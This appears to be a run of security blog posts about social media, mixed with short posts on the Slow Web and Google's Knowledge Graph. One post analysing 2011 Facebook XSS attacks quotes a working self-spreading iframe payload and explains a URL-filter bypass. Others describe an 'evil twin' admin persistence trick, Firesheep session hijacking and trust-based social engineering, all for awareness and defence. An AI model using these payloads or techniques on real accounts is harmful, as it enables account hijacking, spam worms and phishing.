Jack Cheng maps out a positive vision for a “slow” type of web app:
Timely not real-time. Rhythm not random. Moderation not excess. Knowledge not information. These are a few of the many characteristics of the Slow Web. It’s not so much a checklist as a feeling, one of being at greater ease for the web-enabled products and services in our lives.
Inside Google’s Plan to Build a Catalog of Every Single Thing, Ever
Alexis Madrigal at The Atlantic on Google’s Knowledge Graph:
This is one of those human knowledge projects that is ridiculous in scope and possibly in impact. And yet when it gets turned into a consumer product, all we see is a useful module for figuring out Tom Cruise’s height more quickly. In principle, this is both good and bad. It’s good because technology should serve human needs and we shouldn’t worship the technology itself. It’s bad because it’s easy to miss out on the importance of the infrastructure and ideology that are going to increasingly inform the way Google responds to search requests. And given that Google is many people’s default portal to the world of information, even a subtle change in the company’s toolset is worth considering.
And that’s how I found myself on the phone with John Giannandrea discussing mojitos and semantic graphs.
Sounds like another stab at the Semantic Web. It’ll be interesting to see how Facebook’s Open Graph actions play out in this space as well.
I have had a great reply on this topic while going around the USA talking about social media security. During my talk I give an example of why it is NOT okay to allow just anyone the right to follow you or vise versa.
I choose a volunteer out of the crowd. Usually a nice looking woman because…why not. I give a hypothetical situation. We were dating and things are starting to get serious. So serious that I take her to meet my mom for the first time. While we are at my ma’s house, I introduce her to my new brother-in-law. My brother-in-law was in charge of bringing the dinner rolls and once again forgot. He asks her to go to the Italian (not french) bakery down the road with him to get these rolls. She says yes. While they are picking up the rolls he notices that he forgot his wallet and asked her for $4.98 to cover the rolls. She just happens to have $5.00 in her left pocket.
Would she give him the $5.00 and why?
The answer has always been “yes” and because he is associated or was introduced to her by me. There is an applied level of trust set prior to them going to the bakery. Well this level of trust in my opinion can be accomplished within twitter. If I follow you and we start having a friendly conversation(your favorite sports team) I will then go after your friends and family for a small amount to help me with my “cure/run/walk”. All I have to do is introduce myself as your friend as they can see our past conversations in twitter. I have had a over 90% success rate of getting their followers to click my cause link. This success is based on the applied trust between two strangers. So although it is really #kwel to have 70,000 twitter followers it can also cost your friends and family $4.98
For more information feel free…info@unixbox.ws
As I have been testing the security settings of companies social media strategies, I have consistently noticed two things, marketing is desperately trying to find its ROI and IT/Security doesn’t even know they have a FB page. I do agree that after a number of months, it is time to show the CFO that spending that insame amount of time on their social media sites is worth the payroll checks. Unfortunately, analytics alone have been a blurry way of making that compelling argument and can be defeated by saying, if, I had put those payroll checks into google…I could see our ROI in a nice neat report. This is one of the reasons that marketing is jumping head first into technologies like Shoutlet, payvment or others (FB E-commerce). Why not sell your items on your FB Page? Your team has worked extremely hard to get thousands of new users to click follow/like. Ultimately, this is going to be the future of pages but because IT/Security is not involved in the social media process it also opens a HUGE GAPPING HOLE in your security policy and procedures. And of course here is your example:
The policy of company ACME is “no social networking allowed” on internal networks. Sites are being blocked at the firewall with rules and enforced with a content filtering tool. IT/Security has done its job with social media, right? BUT an exception is made for Marketing because they are special people. A FB page was created as well as an E-Commerce app installed without consulting IT/Security. I know this because after taking over the FB page using our friends Cain and Able, I replaced just one of the “buy now” buttons to redirect it my site and used analytics to see how many people clicked this button. Showing this to Director of IT he replied “I didn’t even know we had a FB Page.”
Part 2
After this meeting we agreed to stop and allow IT/ Security to be a part of the implementation of this new e-com solution and lock down this new site. After a couple of months we were given the green light that all social media was secure and our attacks would now #fail. Well they were wrong! Here is what happened; Technology constantly changes and therefor we should also be constantly training/testing these changes. Yes, all https was checked. Yes, they read www.socialmediasecurity.com on a regular basis. But they forgot to monitor their social media accounts like they would an email server. There is still a core failure in my opinion of Facebook pages. Who?!? owns the data and when is it okay to monitor the admins personal accounts? Because these users of the pages still enjoy using Facebook for personal use. They do not apply the corporate rules to their personal accounts nor should they if that is how they live. So, we are either forced to create fake accounts or all share one admin account. Well with our testing we are still targeting the admins of these pages. There are many many ways to gain access to their accounts and once in, we only have to create our own evil twin account to keep access. Example: if Bob Alice is the admin of the page just create another Bob Alice and copy the information including the profile imagine and allow this new user admin rights to the page. Most common users will just think this is a Facebook glitch and it is showing their profile twice. But in reality it is a way for us to keep a constant admin account to this system. If you maintain a Facebook page you know that admins just lose their rights to the page all the time out of the blue. So constantly adding the same person is a regular process. If the company was monitoring its data it would see these changes or see that there were in fact 2 different accounts attached to this page. But we are not monitoring these accounts, yet. Social media security can be a full time job depending on the risk and frequency of the sites. For more information feel free as always to email me. info@unixbox.ws
For a while now, I have been keeping an eye out for technologies that might help organizations leverage social media securely, within an Intranet environment for business purposes. Recently, I came across a success story about the Canadian Medical Association’s recent implementation of a social Intranet using an out-of-the-box product by ThoughtFarmer. That article (posted on the ThoughtFarmer blog) tapped the CMA project leader, Tanis Roadhouse, for tips on some of the key points in her blue-print for the CMA site’s implementation. So, I decided to check into the story.
The article showed that Tanis, while not being a life-long IT project leader, was pretty well organized, and showed some thought leadership. Here’s a summary of her 7-point blue-print for building a social intranet:
Click HERE for the entire article.
For each point, the article provides some detailed explanations. I followed up with Tanis via Twitter to see where Risk Management and IT Security fit in, since they weren’t explicitly listed in the explanations. For the most part, she said they addressed these issues in the IT liaison step.
Tanis did mention (over Twitter) that, because the organization is heavily oriented toward finance, a Risk Assessment was performed in order to protect client data. The assessment concluded that there was, “Limited risk, as it is an Intranet site”, and that “Risk to clients was reduced through governance policies.”
I should point out here that you can not infer that an intranet site will be secure simply because you have good governance policies. Any organization that takes on any IT project that will be deployed on their network (internal or external) should do a thorough risk assessment, and use its recommendations to strengthen any identified vulnerabilities. This may result in strengthening policies, technical safeguards, procedures, personnel screening, roles and responsibilities or training. (Disclaimer: I harp on this stuff because it’s a big part of what I do for my clients.)
I think the lesson here is that organizations are starting to see value in using social media tools that they keep under their own control. In the early years of Facebook and Twitter, I saw some organizations embracing the publicly available tools to initiate internal collaboration, which was (and still is), generally a bad idea. This kind of thing led to hackers employing social engineering tactics to join “employee groups” and learn way too much about the vulnerabilities inside the company’s walls and networks, which of course, leads to data breaches.
Now, with some real implementations we can talk about, I’m hoping to get a closer look at how these tools can be deployed securely in an environment where you’re not sharing sensitive corporate data with 700 million of your closest friends (e.g. as would happen on Facebook).
I should also mention that the ThoughtFarmer blog also seems to be a good source of thought leadership. Not only are they kindly publishing meaningful success stories, but they also demonstrate an understanding of how to use social media to help others think through their problems. One of their subsequent posts has a list of “81 Intranet Governance Questions to Ask Yourself.” (Click HERE)
I’m encouraged by this kind of leadership, both in the vendor community (as demonstrated by ThoughtFarmer) and among the project initiators like Tanis. I hope to follow their progress in the future and share any tips I learn with you.
If you have been struggling with the problem of how to keep passwords strong, yet memorable, we may have a simple answer for you. In the Security Now Podcast (episode 303) this week, Steve Gibson presents a very interesting analysis on what makes a good password these days. He calls it Password Haystacks, and there is a pretty simple solution to having to remember strong passwords.
Steve’s conclusions are very compatible with my usual prefered strategy for choosing passwords – like using the first characters from a song or movie quote, and adding some special characters and numbers. But his advice is interesting about how simple the basic password root can be, and how to easily make it much stronger. It’s pretty cool and simple.
The bottom line is that by adding length to a good, short password (regardless of whether or not they are repeated characters or patterns) you will massively improve resistance to a brute force attack. This is because today’s attacker doesn’t know how long the password is, for sure, and will always start with the easy dictionary words and patterns, and then they will move to the shortest possible character combinations in a brute force attack, followed by the next shortest combinations, and so on…
As an example, using this logic, a 23 character random password is not “usefully” stronger than a 3 character random password with 21 repeated characters.
There are some minor caveats in using this approach, to keep the passwords strong, such as having at least one lower, one upper case, one number and one special character in the root of the password. The rest of the characters don’t really matter, as long as you don’t reveal what pattern you use in the repeated characters or patterns.
For example “..B.o.B……….” is a pretty good password, since it would take at least 2 billion centuries with massive cracking array scenario to go through all combinations. So, you don’t need a very long song title or movie phrase. You simply need to keep your simple pattern or strategy a secret.
The Security Now podcast episode (in text or audio format) where the rationale for this approach is described is at the following link:
http://www.grc.com/securitynow.htm (look for Episode 303)
Steve also has a web page that analyzes passwords in terms of how long a given password can be expected to stand up to various brute force attacks. You don’t have to enter your real password, but try entering something that has the same length, and number of upper, lower case, numbers and special characters as your real password, and see how long it would take an attacker to try all combinations using a brute force approach.
http://www.grc.com/haystack.htm
If you aren’t convinced, or if you want to learn more, post a question or comment below.
Something to ponder…
– Scott
I am now offering monthly briefings, tailored to organizations that want to build and sustain security awareness for staff. Just because your security team is too busy to do its own training and awareness doesn’t mean you can’t have an economical way to address human security risks. Please call or email me at the coordinates below…
Scott Wright
The Streetwise Security Coach
Join the Streetwise Security Zone at:
http://www.streetwise-security-zone.com/join.html
Phone: 1-613-693-0997
Email: scott@streetwise-security-zone.com
Twitter ID: http://www.twitter.com/streetsec
To receive weekly security tips and other notices about helpful content available on this site, please make sure you are on my list by clicking HERE, and entering your name and email address.
A few weeks ago, three separate cross-site scripting (XSS) vulnerabilities on Facebook sites were uncovered within a period of about 10 days. At least two of these holes were used to launch viral links or attacks on users – and it’s clear that attacks against Facebook users are becoming increasingly sophisticated.
The first issue came from a page on the mobile version of Facebook’s site. The interface was a prompt for posting stories to a user’s wall, and the parameter for the text of the prompt did not properly escape output. On March 28, a blogger identifying themselves as “Joy CrazyDaVinci” posted code that demonstrated how the vulnerability could be used to spread viral links:
<iframe id=”CrazyDaVinci” style=”display:none;”
src=”http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’<script>window.onload=function(){document.forms[0].message.value=’Just visited http://y.ahoo.it/gajeBA Wow.. cool! nice page dude!!!‘;document.forms[0].submit();}</script>”></iframe>
This bit of HTML would be included in a viral page. The code sets the content of the wall post to a message that includes a link to a viral page, then submits the prompt automatically. Anyone clicking the link would get the same code executed on their account. The viral page could be used for malware distribution or phishing attacks, but in most cases where I saw this trick used, the page simply loaded advertisements or “offer spam”.
By the next day, several links were spreading virally and caught the attention of security researchers. Facebook moved quickly to patch the issue, and Crazy DaVinci issued an apology for the example code, explaining that versions of it had actually been circulating for several days prior and that the demonstration was intended to push Facebook for a fix.
On April 3, another XSS problem came to light, this time with a Facebook “channel” page used for session management. Both another security researcher and I had previously looked at this interface and found it properly escaped, so it’s likely a code update mistakenly changed the page’s behavior. Facebook again patched the problem soon after news of it spread.
I didn’t observe any viral exploitation of the second vulnerability in the wild, but after the first problem came to light, I noted that it was mostly used to submit a form already on the page for posting links. The payload made use of functionality within the vulnerable page, but XSS allows an attacker to do far more. I wondered when we might see a Facebook attack that made greater use of cross-site scripting’s potential.
I didn’t have to wait long. On April 7, I got word via Twitter of a Facebook app that had live XSS, but the app had disappeared before I got to see it in action. At first, I thought this was yet another case of XSS within the context of a Facebook app. But I soon found other version of the app which were still online, and I quickly realized this was actually an XSS problem with the Facebook Platform. Also, the XSS payload being used did much more than submit a form.
The attack used FBML-based Facebook apps, which render in the context of an apps.facebook.com page. Normally, Facebook filters code to prevent any scripts from directly modifying the page’s DOM, but the XSS problem gave attackers a bypass. When a user visited the app page, they would see what appeared to be a fairly benign page with a popular video.
Unlike many Facebook page scams, the promised video actually works – if you click play, the video will load and nothing unusual seems to happen. But as the code screenshot below reveals, that click does much more than load the video.
When the page first loads, the “video” is actually just an image placeholder with a link. Part of the href parameter for that link is shown above. Note the space after the opening quotation mark – that’s where the XSS comes in. Normally, Facebook would block a link to a javascript: URL. Adding the space worked around Facebook’s filters, but the browser would still execute the rest of parameter.
According to Facebook, it turned out that some older code was using PHP’s built-in parse_url function to determine allowable URLs. For example, while parse_url(“javascript:alert(1)”) yields a scheme of “javascript” and a path of “alert(1)”, adding whitespace gives a different result: parse_url(” javascript:alert(1)”) does not return a scheme and has a path of “javascript:alert(1)”. Other PHP developers should take note of the difference if parse_url is being used in security-related code.
Clicking the link executed an inline script that in turn added a script element to the page. This loaded more code from a remote address and included several parameters in the GET request. The parameters set variables within the remote code that specified what video to load, what URLs to use for viral posts, and so on. Multiple Facebook apps and domains were used for the viral links, but the main script always came from the same host. This helped the attack persist, since blocking one site would not stop it and the central code was loaded dynamically.
The remote code handled actually loading the video, but also included a number of functions which make use of having script access in a facebook.com context. The script would set the user as attending spam events, invite friends to those events, “like” a viral link, and even send IMs to friends using Facebook Chat.
When I came across the attack, one block of code had been commented out, but one blogger discovered a version of the attack a few days prior and saw it in action. This part loaded a fake login form which actually sent the entered username and password to a log interface on the attacker’s server. (Remember, this phishing form would appear in the context of a page with typical Facebook chrome.) Since the attack page would load even if a user was not logged in to Facebook, this could have also been a way to make sure a session was available before launching the other functions.
Fake videos and viral links are nothing new on Facebook, but most of these scams tend to be fairly simple. In fact, it’s not hard to find forums where people offer boilerplate code for launching such schemes – much like the first XSS worm above which simply submitted a form. But the April XSS attack involved multiple domains, multiple user accounts, and multiple methods for spreading and hijacking user accounts. And it still only scratched the surface of what’s possible with an XSS vulnerability. I expect we’ll see more XSS-based attacks and more powerful payloads in the future.
I came across the April attack late one afternoon as I was preparing to leave work… so I could present on XSS at a local OWASP meeting! Those following me on Twitter saw a somewhat frantic stream of tweets as I tried to find live examples of the attack and sorted through the code while closely watching the clock and wrapping up last-minute presentation details. Earlier this week, I did some searching to review information for this post, and I came across this article from eWEEK: “Facebook Bully Video Actually an XSS Exploit“.
I was a bit surprised by it, as I hadn’t known about it before and saw that it quoted me. I then realized it was quoting my tweets! I then read that I had “confirmed to eWEEK on Twitter” one aspect of the story. At first I was confused, but then remembered that during my flood of tweeting, another user had sent an @ reply asking about the very detail the story talked about. Checking that tweet again, I found out the question had come from the article’s author.
I relate all this not because any of it bothered me, simply because (1) I found it somewhat fascinating that a few quick Twitter updates could become the primary source for a news article and (2) I was humbled to realize that a few quick Twitter updates could become the primary source for a news article! While it’s great that a story can spread so fast, it was certainly gave me a reminder to be careful when discussing topics of interest on a public forum. But I’m glad I can do my part in helping raise awareness of online dangers, particular the implications of XSS.
Thank you to Tom for allowing me to participate with social media security dot com. The guys in this community have been great resources in helping me to spread the word on the insecurities with social media. This year, I have been reaching beyond the security space, speaking to many social media clubs, podcampers and O’Reilly conferences only to realize something disheartening. Not enough people hear or are listening to us! I am going to start posting some real experiences to help with the questions of “why should I care about social media security?”
This week at Podcampnashville I was able to demo firesheep and in 3 mins and 48 secs, 64 accounts were in my sidebar waiting for me to double click. After the demo I had some great questions and just like that the session was over. Later a young lady came to me and admitted she was 1 of the 64 in the sidebar. She asked me to show her what I “could” of done with her account. She was not really impressed or scared that I could of updated the profile, chat with friends or add creepy users. Then fear came very quickly when I changed from the user account to the PAGES she had admin rights.
She is in charge of the facebook pages of 12 major medical practices in the area. I have to be honest she rocked at maintaining these pages. Impressed by her work, I asked how long she had into these pages and followers. Time was in the 1000’s of hours and also in the $100,000 range of billable time. My final question to her was…what would she do if all of this time and money came crashing down by some idiot at a camp running a free Moz Plug-in. She said she would hunt them down. She was kidding of course but I was a little scared to be honest. We went over some settings and she is now going to help spread the word. 1 out of 64 down.
Facebook Pages security is basically in the hands of the personal accounts of the admins. This is one reason why the CSO should care…
Things that make you go HMMMM? <- point to head -Arsenio Hall
Facebook terms and conditions state that you have to have a personal Facebook account to administrate your company page. Facebook company pages allow multiple users to have access to share content. Are you monitoring or making sure the people with access is meeting your company security standards? If an employee has left, is Facebook Page access part of the account removal process?
